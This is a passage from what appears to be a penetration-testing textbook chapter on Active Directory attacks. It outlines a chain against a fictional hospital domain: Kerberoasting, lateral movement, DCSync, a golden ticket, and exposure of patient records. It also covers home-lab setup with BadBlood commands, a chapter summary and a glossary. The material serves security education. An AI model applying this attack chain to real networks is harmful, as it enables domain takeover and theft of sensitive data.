   Found: svc_ehr NTLM hash (logged in for EHR sync)

4. KERBEROASTING
   GetUserSPNs → svc_ehr TGS → Cracked: EHRservice2019!

5. LATERAL MOVEMENT
   svc_ehr credentials → Local admin on EHR servers
   Move to ehr-db01.medsecure.local

6. AD ENUMERATION
   BloodHound → ehr-db01$ has DCSync rights (misconfiguration)

7. DCSYNC
   secretsdump.py → Extract krbtgt hash

8. GOLDEN TICKET
   Forge TGT as Enterprise Admin → Full domain control

9. DOMAIN DOMINANCE
   Access all servers, all data, all user accounts
   Demonstrate: 500,000 patient records accessible

Total time from phishing to domain compromise: In a well-connected network with these misconfigurations, an experienced attacker could complete this chain in 2-4 hours. This is the reality that defensive teams must prepare for.

17.9 Building a Home Lab for AD Attacks

Student Home Lab Setup:

To practice these techniques safely, build your own AD lab:

Recommended Configuration:
- Domain Controller: Windows Server 2019/2022 (DC01)
  - 2 CPU cores, 4GB RAM
  - Active Directory Domain Services
  - AD Certificate Services
  - DNS Server

- Member Server: Windows Server 2019 (SRV01)
  - 2 CPU cores, 4GB RAM
  - File shares, SQL Server Express

- Workstation: Windows 10/11 (WS01)
  - 2 CPU cores, 4GB RAM
  - Domain-joined

- Attack Machine: Kali Linux
  - 2 CPU cores, 4GB RAM

Total: ~16GB RAM minimum for the lab

Purposefully vulnerable AD labs: - GOAD (Game of Active Directory): Multi-domain vulnerable AD lab - Vulnerable-AD: PowerShell script to create a vulnerable AD - DetectionLab: Comprehensive lab with logging and monitoring - BadBlood: Fills an AD with realistic but intentionally vulnerable data

# BadBlood - Populate lab AD with vulnerable configurations
Import-Module .\Invoke-BadBlood.ps1
Invoke-BadBlood

Summary

Active Directory attacks represent the pinnacle of penetration testing in enterprise environments. In this chapter, we covered the complete AD attack lifecycle:

1. Architecture Understanding: Kerberos, NTLM, trusts, and GPOs form the foundation upon which all AD attacks are built.
2. Enumeration: BloodHound, PowerView, and ADRecon reveal attack paths invisible to manual analysis.
3. Initial Credential Attacks: Kerberoasting and AS-REP Roasting require only standard user access but can yield service account credentials.
4. Lateral Movement: Pass-the-Hash, Overpass-the-Hash, and Pass-the-Ticket allow credential reuse across the domain.
5. Delegation Abuse: Unconstrained, constrained, and resource-based delegation misconfigurations provide powerful escalation paths.
6. AD CS Attacks: Certificate-based attacks (ESC1-ESC8) represent a massive and often overlooked attack surface.
7. Domain Dominance: DCSync, Golden Tickets, Silver Tickets, and persistence mechanisms provide complete domain control.

The common thread across all these attacks is misconfiguration. Active Directory itself is not inherently insecure, but the complexity of managing thousands of objects, permissions, templates, and delegation settings inevitably creates gaps. Your role as a penetration tester is to find those gaps before real adversaries do.

Key Terms

• Active Directory (AD): Microsoft's directory service for managing enterprise network resources
• Domain Controller (DC): Server hosting AD DS and authenticating users
• NTDS.dit: AD database containing all domain objects and password hashes
• Kerberos: Default authentication protocol in AD environments
• TGT (Ticket Granting Ticket): Kerberos ticket used to request Service Tickets
• TGS (Ticket Granting Service): Service Ticket for accessing specific services
• SPN (Service Principal Name): Unique identifier for a service instance in AD
• Kerberoasting: Requesting and cracking Service Tickets to obtain service account passwords
• AS-REP Roasting: Cracking authentication responses for accounts without preauthentication
• BloodHound: Graph-based AD attack path visualization tool
• DCSync: Replicating credentials from a DC using directory replication privileges
• Golden Ticket: Forged TGT created with the krbtgt hash, granting unrestricted domain access
• Silver Ticket: Forged Service Ticket for a specific service
• Pass-the-Hash: Using NTLM hash for authentication without cracking the password
• Delegation: Kerberos feature allowing services to act on behalf of users
• RBCD: Resource-Based Constrained Delegation, configured on the target service
• AD CS: Active Directory Certificate Services, providing PKI infrastructure
• ESC1-ESC8: Categories of AD CS misconfigurations enabling privilege escalation
• Skeleton Key: Domain persistence via LSASS patching on domain controllers